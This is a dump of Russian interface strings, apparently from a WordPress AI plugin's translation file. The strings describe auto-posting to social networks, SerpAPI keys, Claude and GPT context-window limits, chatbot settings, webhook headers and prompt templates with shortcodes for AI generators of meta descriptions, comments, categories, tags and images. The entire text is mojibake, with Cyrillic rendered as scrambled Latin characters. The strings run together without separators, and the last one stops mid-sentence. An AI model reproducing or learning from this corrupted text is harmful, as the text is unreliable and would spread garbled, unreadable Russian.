ÐŸÑ€Ð°Ð²Ð¸Ð» на Email:ОтправлÑет Ñлектронное пиÑьмо на желаемый Ð°Ð´Ñ€ÐµÑ Ñлектронной почтыОтправлÑет контент в вебхукОтправлÑет пины на доÑки Pinterest.ОтправлÑет поÑÑ‚Ñ‹ на Ñтраницы FacebookОтправлÑет поÑÑ‚Ñ‹ на Ñтраницы Google My Business.ОтправлÑет поÑÑ‚Ñ‹ на Ñтраницы InstagramОтправлÑет поÑÑ‚Ñ‹ на Ñтраницы LinkedIn.ОтправлÑет поÑÑ‚Ñ‹ в Ñубреддиты Reddit.ОтправлÑет поÑÑ‚Ñ‹ на X Ñтраниц (Twitter).ОтправлÑет поÑÑ‚Ñ‹ на Ñтраницы ÑообщеÑтва YouTube.ОтправлÑет текÑтовые ÑообщениÑ/ÑÑылки на Ñтраницы Facebook.Отделённые иÑточники ПоÑтов Ñ Ð·Ð°Ð¿ÑтымиÐеобходимо РазделÑÑ‚ÑŒ запÑтыми.СепедиСепеди (Переводчик Google)ÑербÑкийСербÑкий (переводчик Google)Ключ API SerpAPI (необÑзательно) (иÑпользуетÑÑ Ð´Ð»Ñ ÑвÑзанных Заголовоков и доÑтупа в Интернет Ð´Ð»Ñ AI)Ключ SerpAPI (необÑзательно)SerpAPI:Ð¡ÐµÑ€Ð²ÐµÑ€Ð½Ð°Ñ Ð¡Ñ€ÐµÐ´Ð°Ð¡ÐµÑотоСеÑото (переводчик Google)СеÑÑÐ¸Ñ IDSession ID: идентификатор ÑеанÑа, в котором был Ñделан запроÑ.УÑтановите макÑимальное количеÑтво Ñтрок Ð´Ð»Ñ Ð¾Ð±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ¸Ð£Ñтановите пользовательÑкий диапазон дат комментариев:УÑтановите наÑтраиваемый диапазон дат публикации ПоÑтовУÑтановите наÑтраиваемый диапазон дат публикации публикации:УÑтановите ÑпиÑок изображений, разделенных запÑтыми, Ð´Ð»Ñ Ð½Ð°Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð¿Ð¾Ñтам. Ð’Ñ‹ также можете иÑпользовать AI, чтобы выбрать наиболее подходÑщее изображение (на оÑнове ключевых Ñлов из имени Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð¸ URL-адреÑа).УÑтановите жеÑтко запрограммированное ограничение контекÑтного окна Ð´Ð»Ñ Ð¼Ð¾Ð´ÐµÐ»ÐµÐ¹ Claude 200k. ЕÑли вы не уÑтановите Ñто значение, будет иÑпользоватьÑÑ Ð»Ð¸Ð¼Ð¸Ñ‚ токенов по умолчанию в 200 000.УÑтановите жеÑтко запрограммированное ограничение контекÑтного окна Ð´Ð»Ñ Ð¼Ð¾Ð´ÐµÐ»ÐµÐ¹ Claude. ЕÑли вы не уÑтановите Ñто значение, будет иÑпользоватьÑÑ Ð»Ð¸Ð¼Ð¸Ñ‚ токенов по умолчанию в 100 000.УÑтановите жеÑтко закодированное ограничение контекÑтного окна Ð´Ð»Ñ Ð¼Ð¾Ð´ÐµÐ»Ð¸ gpt-3.5-turbo-1106. ЕÑли вы не уÑтановите Ñто значение, будет иÑпользоватьÑÑ Ð»Ð¸Ð¼Ð¸Ñ‚ токенов по умолчанию — 16385.УÑтановите жеÑтко запрограммированное ограничение контекÑтного окна Ð´Ð»Ñ Ð¼Ð¾Ð´ÐµÐ»Ð¸ gpt-4-1106(-preview). ЕÑли вы не уÑтановите Ñто значение, будет иÑпользоватьÑÑ Ð»Ð¸Ð¼Ð¸Ñ‚ токенов по умолчанию в 128 000.УÑтановите значок, который будет открывать чат-бот.УÑтановите ÑпиÑок URL-адреÑов, где не показывать чат-бота. Ð’Ñ‹ можете ввеÑти неÑколько URL-адреÑов, каждый в новой Ñтроке.Задайте ÑпиÑок доменов (через запÑтую), которым будет разрешено отображать Чат-бот на Ñвоем Ñайте. Чтобы разрешить вÑем Ñайтам добавлÑÑ‚ÑŒ Ñтот Чат-бот, оÑтавьте Ñто поле пуÑтым. Пример иÑпользованиÑ: https://www.example.orgУÑтановите Промпт на Генерацию Ключевого Ñлова Ð´Ð»Ñ Ð˜Ð¼Ð¿Ð¾Ñ€Ñ‚Ð° БеÑплатных Изображений Ð´Ð»Ñ Ñозданных ПоÑтов. Ð’Ñ‹ также можете указать AI Создателю вернуть ÑпиÑок Ключевых Ñлов, разделенных запÑтыми. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие шорткоды: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. Ð’Ñ‹ также можете добавить ÑÑылку на TXT-файл, Ñодержащий Ключевые Ñлова (по одному на Ñтроку), или на RSS-канал. ЕÑли вы иÑпользуете RSS-каналы, вы также можете иÑпользовать Ñледующие дополнительные шорткоды: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%% , %%post_link%%. Длина Ñтой команды не должна превышать макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках команды seed. Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñгенерированные правилами из других плагинов). Ð’Ñ‹ также можете добавить Ñюда ÑÑылку на файл .txt, где вы можете добавить неÑколько Промптов (по одному на Ñтроку), и плагин будет выбирать Ñлучайный при каждом запуÑке. Ð’Ñ‹ можете иÑпользовать что-то вроде: Мне нужно найти очень релевантные Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð±ÐµÐ· лицензионных отчиÑлений Ð´Ð»Ñ Ð·Ð°Ð³Ð¾Ð»Ð¾Ð²ÐºÐ° Ñтатьи, пожалуйÑта, извлеките ÑпиÑок наиболее релевантных ключевых Ñлов, разделенных запÑтыми, из заголовка, Ð¾Ñ‚Ð´Ð°Ð²Ð°Ñ Ð¿Ñ€ÐµÐ´Ð¿Ð¾Ñ‡Ñ‚ÐµÐ½Ð¸Ðµ конкретным ÑÑылкам над общими ключевыми Ñловами (I need to find highly relevant royalty-free images for an article heading, please extract a comma-separated list of the most relevant keywords from the heading, prioritizing specific references over general keywords). Добавьте наивыÑший приоритет к наиболее конкретному ключевому Ñлову, которое вÑе еще ÑвÑзано Ñ Ð¾Ñновной темой. Тем Ñамым вы поможете мне найти более подходÑщие и целевые Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð´Ð»Ñ Ð—Ð°Ð³Ð¾Ð»Ð¾Ð²ÐºÐ° Статьи. Заголовок ПоÑта в блоге: "%%post_title%%".УÑтановите шаблон, который будет иÑпользоватьÑÑ Ð´Ð»Ñ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑки Ñозданных Ð’Ñтраиваний.УÑтановите пример ответа Ð´Ð»Ñ Ñтой формы, его можно показать пользователÑм.Задайте команду промпт, которую вы хотите отправить генератору метаопиÑаний AI SEO. Этой командой может быть любое задание или приказ, на оÑновании которого он будет генерировать комментарии к поÑтам. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие шорткоды: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. Ð’Ñ‹ также можете иÑпользовать пользовательÑкие Ð¿Ð¾Ð»Ñ (post meta), которые назначаютÑÑ Ð¿Ð¾Ñтам Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ пользовательÑких шорткодов в таком формате: %%!custom_field_slug!%%. Ð’Ñ‹ также можете иÑпользовать пользовательÑкие мета-Ð¿Ð¾Ð»Ñ (user meta), которые назначаютÑÑ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñм Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ пользовательÑких шорткодов в формате: %%~custom_field_slug~%%. Пример: еÑли вы хотите добавить данные, импортированные из пользовательÑкого Ð¿Ð¾Ð»Ñ post_data, иÑпользуйте Ñтот шорткод: %%!post_data!%%. Длина Ñтой команды не должна превышать макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках команды промпта - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других плагинов). Значение по умолчанию: ЗапиÑать SEO-метаопиÑание Ð´Ð»Ñ Ð·Ð°Ð³Ð¾Ð»Ð¾Ð²ÐºÐ° поÑта: %%post_title%%УÑтановите команду промпта, которую вы хотите отправить генератору категорий AI. Этой командой может быть Ð»ÑŽÐ±Ð°Ñ Ð·Ð°Ð´Ð°Ð½Ð½Ð°Ñ Ð·Ð°Ð´Ð°Ñ‡Ð° или заказ, на оÑновании которого она будет генерировать категории Ð´Ð»Ñ Ð¿Ð¾Ñтов. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие короткие коды: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. Ð’Ñ‹ также можете иÑпользовать пользовательÑкие Ð¿Ð¾Ð»Ñ (post meta), которые назначаютÑÑ Ð¿Ð¾Ñтам Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ пользовательÑких шорткодов в Ñтом формате:%%!custom_field_slug!%%. Ð’Ñ‹ также можете иÑпользовать наÑтраиваемые Ð¿Ð¾Ð»Ñ (мета-ÑообщениÑ), назначенные ÑообщениÑм, Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ пользовательÑких коротких кодов в Ñтом формате: %%!custom_field_slug!%%. Ð’Ñ‹ также можете иÑпользовать пользовательÑкие Ð¼ÐµÑ‚Ð°Ð¿Ð¾Ð»Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ (user meta), которые назначаютÑÑ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñм Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ пользовательÑких коротких кодов в Ñтом формате: %%~custom_field_slug~%%.. Пример: еÑли вы хотите добавить данные, импортированные из наÑтраиваемого Ð¿Ð¾Ð»Ñ post_data, вам Ñледует иÑпользовать Ñтот короткий код: %%!post_data!%%. Длина Ñтой команды не должна превышать макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках Ð´Ð»Ñ ÐºÐ¾Ð¼Ð°Ð½Ð´Ñ‹ промпта. Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, Ñозданные правилами других плагинов).Задайте команду промпт, которую вы хотите отправить генератору комментариев AI. Этой командой может быть любое задание или приказ, на оÑновании которого он будет генерировать комментарии к поÑтам. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие шорткоды: %%previous_comments%%, %%post_title%%, %%comment_author_name%%, %%comment_author_email%%, %%comment_author_url%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. Ð’Ñ‹ также можете иÑпользовать пользовательÑкие Ð¿Ð¾Ð»Ñ (post meta), которые назначаютÑÑ Ð¿Ð¾Ñтам Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ пользовательÑких шорткодов в таком формате: %%!custom_field_slug!%%. Ð’Ñ‹ также можете иÑпользовать пользовательÑкие мета-Ð¿Ð¾Ð»Ñ (user meta), которые назначаютÑÑ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñм Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ пользовательÑких шорткодов в формате: %%~custom_field_slug~%%. Пример: еÑли вы хотите добавить данные, импортированные из пользовательÑкого Ð¿Ð¾Ð»Ñ post_data, иÑпользуйте Ñтот шорткод: %%!post_data!%%. Длина Ñтой команды не должна превышать макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках команды промпта - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других плагинов).Задайте промпт команду, которую вы хотите отправить AI редактору изображений контента . Этой командой может быть любое задание или приказ, на оÑновании которого он будет редактировать главное изображение поÑта. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие шорткоды: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. Ð’Ñ‹ также можете иÑпользовать пользовательÑкие Ð¿Ð¾Ð»Ñ (post meta), которые приÑваиваютÑÑ Ð¿Ð¾Ñтам Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ шорткодов в таком формате: %%!custom_field_slug!%%. Ð’Ñ‹ также можете иÑпользовать пользовательÑкие мета-Ð¿Ð¾Ð»Ñ (user meta), которые назначаютÑÑ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñм Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ пользовательÑких шорткодов в формате: %%~custom_field_slug~%%. Пример: еÑли вы хотите добавить данные, импортированные из пользовательÑкого Ð¿Ð¾Ð»Ñ post_data, иÑпользуйте Ñтот шорткод: %%!post_data!%%. Длина Ñтой команды не должна превышать макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках Промпта команды - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñгенерированные по правилам других плагинов). ЕÑли вы иÑпользуете Royalty Free Ð˜Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð² качеÑтве иÑточника, вы также можете задать их ключевые Ñлова здеÑÑŒ, еÑли ключевые Ñлова не заданы, они будут Ñгенерированы автоматичеÑки.Задайте промпт команду, которую вы хотите отправить AI редактору изображений . Этой командой может быть любое задание или приказ, на оÑновании которого он будет редактировать главное изображение поÑта. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие шорткоды: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. Ð’Ñ‹ также можете иÑпользовать пользовательÑкие Ð¿Ð¾Ð»Ñ (post meta), которые приÑваиваютÑÑ Ð¿Ð¾Ñтам Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ шорткодов в таком формате: %%!custom_field_slug!%%. Ð’Ñ‹ также можете иÑпользовать пользовательÑкие мета-Ð¿Ð¾Ð»Ñ (user meta), которые назначаютÑÑ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñм Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ пользовательÑких шорткодов в формате: %%~custom_field_slug~%%. Пример: еÑли вы хотите добавить данные, импортированные из пользовательÑкого Ð¿Ð¾Ð»Ñ post_data, иÑпользуйте Ñтот шорткод: %%!post_data!%%. Длина Ñтой команды не должна превышать макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках Промпт команды- Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñгенерированные по правилам других плагинов). ЕÑли вы иÑпользуете Royalty Free Ð˜Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð² качеÑтве иÑточника, вы также можете задать их ключевые Ñлова здеÑÑŒ, еÑли ключевые Ñлова не заданы, они будут Ñгенерированы автоматичеÑки.Задайте команду, которую вы хотите отправить генератору изображений AI. Этой командой может быть любое задание или приказ, на оÑновании которого он будет генерировать контент Ð´Ð»Ñ Ð¿Ð¾Ñтов. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие шорткоды: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. Ð’Ñ‹ также можете иÑпользовать пользовательÑкие Ð¿Ð¾Ð»Ñ (post meta), которые назначаютÑÑ Ð¿Ð¾Ñтам Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ пользовательÑких шорткодов в таком формате: %%!custom_field_slug!%%. Ð’Ñ‹ также можете иÑпользовать пользовательÑкие мета-Ð¿Ð¾Ð»Ñ (user meta), которые назначаютÑÑ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñм Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ пользовательÑких шорткодов в формате: %%~custom_field_slug~%%. Пример: еÑли вы хотите добавить данные, импортированные из пользовательÑкого Ð¿Ð¾Ð»Ñ post_data, иÑпользуйте Ñтот шорткод: %%!post_data!%%. Длина Ñтой команды не должна превышать макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках команды промпта - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других плагинов). ЕÑли вы иÑпользуете Royalty Free Images в качеÑтве иÑточника, вы также можете задать их ключевые Ñлова здеÑÑŒ, еÑли ключевые Ñлова не заданы, они будут Ñгенерированы автоматичеÑки.Задайте команду промпт, которую вы хотите отправить генератору тегов AI. Этой командой может быть любое задание или приказ, на оÑновании которого он будет генерировать теги Ð´Ð»Ñ Ð¿Ð¾Ñтов. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие шорткоды: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. Ð’Ñ‹ также можете иÑпользовать пользовательÑкие Ð¿Ð¾Ð»Ñ (post meta), которые назначаютÑÑ Ð¿Ð¾Ñтам Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ пользовательÑких шорткодов в таком формате: %%!custom_field_slug!%%. Ð’Ñ‹ также можете иÑпользовать пользовательÑкие мета-Ð¿Ð¾Ð»Ñ (user meta), которые назначаютÑÑ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñм Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ пользовательÑких шорткодов в формате: %%~custom_field_slug~%%. Пример: еÑли вы хотите добавить данные, импортированные из пользовательÑкого Ð¿Ð¾Ð»Ñ post_data, иÑпользуйте Ñтот шорткод: %%!post_data!%%. Длина Ñтой команды не должна превышать макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках команды промпта - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других плагинов).Задайте команду промпт, которую вы хотите отправить генератору текÑта AI. Этой командой может быть любое задание или приказ, на оÑновании которого он будет генерировать контент Ð´Ð»Ñ Ð¿Ð¾Ñтов. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие шорткоды: %%post_title%%, %%post_content%%, %%first_content_paragraph_plain_text%%, %%last_content_paragraph_plain_text%%, %%first_content_paragraph%%, %%last_content_paragraph%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. Ð’Ñ‹ также можете иÑпользовать пользовательÑкие Ð¿Ð¾Ð»Ñ (post meta), которые назначаютÑÑ Ð¿Ð¾Ñтам Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ пользовательÑких шорткодов в таком формате: %%!custom_field_slug!%%. Ð’Ñ‹ также можете иÑпользовать пользовательÑкие мета-Ð¿Ð¾Ð»Ñ (user meta), которые назначаютÑÑ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñм Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ пользовательÑких шорткодов в формате: %%~custom_field_slug~%%. Пример: еÑли вы хотите добавить данные, импортированные из пользовательÑкого Ð¿Ð¾Ð»Ñ post_data, иÑпользуйте Ñтот шорткод: %%!post_data!%%. Длина Ñтой команды не должна превышать макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках команды промпта - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других плагинов).Задайте заголовки, которые нужно отправить вмеÑте Ñ Ð·Ð°Ð¿Ñ€Ð¾Ñом на веб-хук. Введите заголовки в такой Ñтруктуре: ключ => значение (добавлÑйте новые комбинации ключ/значение на новой Ñтроке). Дополнительные шорткоды, которые вы можете иÑпользовать: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, Synergy, [aicontent] и шорткоды WordPress.УÑтановите заголовки контента (необÑзательно)УÑтанавливает, ÑвлÑетÑÑ Ð»Ð¸ Ñтот OmniBlock критичеÑким или нет. Когда критичеÑкий OmniBlock не может правильно Ñгенерировать Ñвой контент и выходит из ÑтроÑ, Ñто приводит к оÑтановке вÑей поÑледовательноÑти Ð²Ñ‹Ð¿Ð¾Ð»Ð½ÐµÐ½Ð¸Ñ OmniBlock. ÐекритичеÑкие OmniBlocks при Ñбое продолжают выполнение блоков, результат неудачного OmniBlock будет пуÑтым.УÑтановите, хотите ли вы прикреплÑÑ‚ÑŒ ÑÑылки к Ñозданным поÑтам LinkedIn.УÑтановите Ñтот флажок, еÑли вы хотите Ñкопировать метаопиÑание из отрывка поÑта, а не Ñоздавать его. Обратите внимание, что Ñто отключит генератор AI мета-SEO.УÑтановите Ñтот флажок, еÑли вы хотите включить МаÑтер Контента также и Ð´Ð»Ñ Ð½ÐµÐ·Ð°Ñ€ÐµÐ³Ð¸Ñтрированных пользователей.УÑтановите, хотите ли вы ограничить длину метаопиÑаниÑ, генерируемого иÑкуÑÑтвенным интеллектом.Задайте ÑпиÑок команд промптов (по одной в каждой Ñтроке), которые вы хотите отправить генератору категорий AI. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие шорткоды: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. Ð’Ñ‹ также можете добавить ÑÑылку на TXT-файл, Ñодержащий ключевые Ñлова (по одному на Ñтроку), или на RSS-канал. ЕÑли вы иÑпользуете RSS-каналы, вы также можете иÑпользовать Ñледующие дополнительные шорткоды: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. Длина Ñтой команды не должна превышать макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках команды промпта - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также можете добавить Ñюда ÑÑылку на .txt-файл, в который можно добавить неÑколько промптов (по одному на Ñтроку), и плагин будет выбирать Ñлучайный при каждом запуÑке. Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции 'Создатель ПользовательÑких Шорткодов' из наÑтроек правил - Ñто позволит вам Ñоздавать чаÑтично или полноÑтью AI-генерируемые промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Задайте ÑпиÑок команд промптов (по одной в каждой Ñтроке), которые вы хотите отправить генератору категорий AI. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие шорткоды: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. Ð’Ñ‹ также можете добавить ÑÑылку на TXT-файл, Ñодержащий ключевые Ñлова (по одному на Ñтроку), или на RSS-канал. ЕÑли вы иÑпользуете RSS-каналы, вы также можете иÑпользовать Ñледующие дополнительные шорткоды: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. Длина Ñтой команды не должна превышать макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках команды промпта- Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также можете добавить Ñюда ÑÑылку на .txt-файл, в который можно добавить неÑколько промптов (по одному на Ñтроку), и плагин будет выбирать Ñлучайный при каждом запуÑке. Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции 'Создатель ПользовательÑких Шорткодов' из наÑтроек правил - Ñто позволит вам Ñоздавать чаÑтично или полноÑтью AI-генерируемые промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Задайте ÑпиÑок команд промптов (по одной в каждой Ñтроке), которые вы хотите отправить в AI Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ð¸ категорий поÑтов. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие шорткоды: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. Ð’Ñ‹ также можете добавить ÑÑылку на TXT-файл, Ñодержащий ключевые Ñлова (по одному на Ñтроку), или на RSS-канал. ЕÑли вы иÑпользуете RSS-каналы, вы также можете иÑпользовать Ñледующие дополнительные шорткоды: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. Длина Ñтой команды не должна превышать макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках команды промпта - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также можете добавить Ñюда ÑÑылку на .txt-файл, в который можно добавить неÑколько промптов (по одному на Ñтроку), и плагин будет выбирать Ñлучайный при каждом запуÑке. Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции 'Создатель ПользовательÑких Шорткодов' из наÑтроек правил - Ñто позволит вам Ñоздавать чаÑтично или полноÑтью AI-генерируемые промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Задайте ÑпиÑок команд промптов (по одной в каждой Ñтроке), которые вы хотите отправить в AI Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ð¸ категорий поÑтов. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие шорткоды: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. Ð’Ñ‹ также можете добавить ÑÑылку на TXT-файл, Ñодержащий ключевые Ñлова (по одному на Ñтроку), или на RSS-канал. ЕÑли вы иÑпользуете RSS-каналы, вы также можете иÑпользовать Ñледующие дополнительные шорткоды: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. Длина Ñтой команды не должна превышать макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках команды промпта - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также можете добавить Ñюда ÑÑылку на .txt-файл, в который можно добавить неÑколько промптов (по одному на Ñтроку), и плагин будет выбирать Ñлучайный при каждом запуÑке. Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции 'Создатель ПользовательÑких Шорткодов' из наÑтроек правил - Ñто позволит вам Ñоздавать чаÑтично или полноÑтью AI-генерируемые Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Задайте ÑпиÑок команд промптов (по одной в каждой Ñтроке), которые вы хотите отправить в AI Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ð¸ тегов поÑтов. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие шорткоды: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. Ð’Ñ‹ также можете добавить ÑÑылку на TXT-файл, Ñодержащий ключевые Ñлова 